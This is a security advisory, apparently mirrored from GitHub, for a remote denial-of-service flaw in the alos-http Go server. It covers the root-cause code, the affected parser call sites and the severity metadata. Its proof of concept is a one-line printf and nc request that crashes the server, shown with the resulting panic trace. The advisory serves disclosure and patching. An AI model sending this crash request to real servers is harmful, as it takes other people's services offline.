GHSA-HR6J-W4MW-G9MJ
Vulnerability from github – Published: 2026-08-28 19:19 – Updated: 2026-08-28 19:19Summary
A single unauthenticated HTTP request to a path starting with ? (e.g. GET ? HTTP/1.1) crashes the entire server process.
The request line parser passes the path to sanitizeRequestPath which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so core.Recovery() does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if ListenAndServeQUIC is enabled
Details
root cause: core/utils.go::sanitizeRequestPath
// assume path := "?"
if len(path) == 0 { // len(path) == 1
return "/"
}
p, _ := splitPathQuery(path) // p == ""
if p[0] == '/' /*...*/ { // p[0] on empty string => panic: index out of range
return p
}
- when the path starts with "?" len(path) is not 0 so the early return does not fire
- after
splitPathQuerypis empty"" pis then indexedp[0]without a length check
Relevant calling sites:
h1_plain.go:ParseH1RequestHead(HTTP/1.1)h1.go::ParseH1Request(dead code)hpack.go::decodeSimpleGetPathHTTPSRequest(HTTP/2)hpack.go::observeHeader(HTTP/2)h3_conn.go::handleRequestStream(HTTP/3)
these run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic
PoC
Minimal server, using the quick-start
srv := core.New(core.Config{Addr: ":8080", PlainHTTP: true})
srv.Router.Use(core.Recovery()) // is unable to catch a parser panic
srv.Router.GET("/", func(req *core.Request, resp *core.Response) { resp.Status(200).String("not crashed (yet)") })
log.Fatal(srv.ListenAndServe())
Crash it with a single request
printf 'GET ? HTTP/1.1\r\nHost: x\r\n\r\n' | nc 127.0.0.1 8080
Server output & crash
2026/06/11 20:52:52 listening on http://localhost:8080
2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false => use-ktls=false
2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576)
2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) ===
2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s))
2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600
panic: runtime error: index out of range [0] with length 0
goroutine 34 [running]:
github.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1})
/home/baloo/alos-http/core/utils.go:566 +0x64a
github.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098)
/home/baloo/alos-http/core/h1_plain.go:474 +0x48c
github.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db
github.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365
github.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25
github.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185
github.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000)
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a
github.com/guno1928/alos-http/core.(*plainUringBackend).start.func1()
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:190 +0x69
created by github.com/guno1928/alos-http/core.(*plainUringBackend).start in goroutine 1
/home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:188 +0x3a
exit status 2
all subsequent requests now fail, since the server is down
Impact
Unauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request. Repeating this process keeps the service offline. There is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/guno1928/alos-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260617230736-314b6783e196"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55484"
],
"database_specific": {
"cwe_ids": [
"CWE-248",
"CWE-754"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-28T19:19:38Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nA single unauthenticated HTTP request to a path starting with `?` (e.g. `GET ? HTTP/1.1`) crashes the entire server process.\nThe request line parser passes the path to `sanitizeRequestPath` which indexes the first byte of the path after stripping the query string. It does so without checking that it is non-empty, leading to an out-of-bounds panic. The panic occurs before any handler or middleware runs so `core.Recovery()` does not recover it. The entire process panics and every connection is dropped. It is reachable over HTTP/1.1, HTTP/2 and HTTP/3 if `ListenAndServeQUIC` is enabled\n\n### Details\n**root cause**: `core/utils.go::sanitizeRequestPath`\n```go\n// assume path := \"?\"\nif len(path) == 0 { // len(path) == 1\n\treturn \"/\"\n}\n\np, _ := splitPathQuery(path) // p == \"\"\n\nif p[0] == \u0027/\u0027 /*...*/ { // p[0] on empty string =\u003e panic: index out of range\n\treturn p\n}\n```\n\n* when the path starts with \"?\" len(path) is not 0 so the early return does not fire\n* after `splitPathQuery` `p` is empty `\"\"`\n* `p` is then indexed `p[0]` without a length check\n\nRelevant calling sites:\n\n* `h1_plain.go:ParseH1RequestHead` (HTTP/1.1)\n* `h1.go::ParseH1Request` (dead code)\n* `hpack.go::decodeSimpleGetPathHTTPSRequest` (HTTP/2)\n* `hpack.go::observeHeader` (HTTP/2)\n* `h3_conn.go::handleRequestStream` (HTTP/3)\n\nthese run in the connection-worker goroutine before the handler chain, which has no recover(), causing the entire http server to crash in case of a panic\n\n### PoC\n\nMinimal server, using [the quick-start](https://github.com/guno1928/alos-http#quick-start)\n\n```go\nsrv := core.New(core.Config{Addr: \":8080\", PlainHTTP: true})\nsrv.Router.Use(core.Recovery()) // is unable to catch a parser panic\nsrv.Router.GET(\"/\", func(req *core.Request, resp *core.Response) { resp.Status(200).String(\"not crashed (yet)\") })\nlog.Fatal(srv.ListenAndServe())\n```\n\nCrash it with a single request\n\n```bash\nprintf \u0027GET ? HTTP/1.1\\r\\nHost: x\\r\\n\\r\\n\u0027 | nc 127.0.0.1 8080\n```\n\nServer output \u0026 crash\n\n```log\n2026/06/11 20:52:52 listening on http://localhost:8080\n2026/06/11 20:52:52 [INFO] capabilities: linux/amd64 cpu=8 gomaxprocs=8 workers=8 aes-ni=true ktls-ulp=false nic=eth0 ktls-hw-offload=false =\u003e use-ktls=false\n2026/06/11 20:52:52 [INFO] raised RLIMIT_NOFILE soft limit to 1048576 (hard=1048576)\n2026/06/11 20:52:52 === ALOS HTTP Server (Plain HTTP/1.1 + HTTP/2 prior knowledge) ===\n2026/06/11 20:52:52 Listening on http://:8080 (8 listener(s))\n2026/06/11 20:52:52 [INFO] io_uring plain worker mode active on Linux amd64: workers=8 accept-shards=8 initial-conn-pool=1600\npanic: runtime error: index out of range [0] with length 0\n\ngoroutine 34 [running]:\ngithub.com/guno1928/alos-http/core.sanitizeRequestPath({0xa4aec31a004, 0x1})\n /home/baloo/alos-http/core/utils.go:566 +0x64a\ngithub.com/guno1928/alos-http/core.ParseH1RequestHead({0xa4aec31a000, 0x1b, 0x2000}, 0xa4ae6c80098)\n /home/baloo/alos-http/core/h1_plain.go:474 +0x48c\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).processRequests(0xa4ae6f00008, 0xa4ae6c80000)\n /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:618 +0x1db\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).handleBufferedRead(0xa4ae6f00008, 0xa4ae6c80000, 0x0?, 0x3, 0xa4aec406d00?)\n /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:572 +0x365\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).handleRead(0x0?, 0xa4aec406d00?, 0x489bcd?, 0x0?, 0x22ecdd3b63a?)\n /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:510 +0x25\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).handleCompletion(0xa4ae6f00008?, 0xa4ae6f00068?, {0x0?, 0x0?, 0x0?}, 0x0?)\n /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:453 +0x185\ngithub.com/guno1928/alos-http/core.(*plainUringWorker).run(0xa4ae6f00008, 0xa4ae686f000)\n /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:373 +0x72a\ngithub.com/guno1928/alos-http/core.(*plainUringBackend).start.func1()\n /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:190 +0x69\ncreated by github.com/guno1928/alos-http/core.(*plainUringBackend).start in goroutine 1\n /home/baloo/alos-http/core/uring_plain_workers_linux_amd64.go:188 +0x3a\nexit status 2\n```\n\nall subsequent requests now fail, since the server is down\n\n### Impact\n\nUnauthenticated remote single-request denial of service. Any client that can reach the server can crash it with one trivial malformed request.\nRepeating this process keeps the service offline. \nThere is no loss of confidentiality or integrity. Only availability. Since HTTP/1.1 and HTTP/2 are served by default this affects effectively all deployments of the framework, unless shielded by third parties (e.g. reverse proxies like nginx)",
"id": "GHSA-hr6j-w4mw-g9mj",
"modified": "2026-08-28T19:19:38Z",
"published": "2026-08-28T19:19:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/guno1928/alos-http/security/advisories/GHSA-hr6j-w4mw-g9mj"
},
{
"type": "WEB",
"url": "https://github.com/guno1928/alos-http/commit/314b6783e19698c85ea9d9b197ff52f7f6a3a374"
},
{
"type": "PACKAGE",
"url": "https://github.com/guno1928/alos-http"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "alos-http has unauthenticated remote DoS: malformed path starting with \"?\" triggers out-of-bounds panic in sanitizeRequestPath, crashing entire server"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.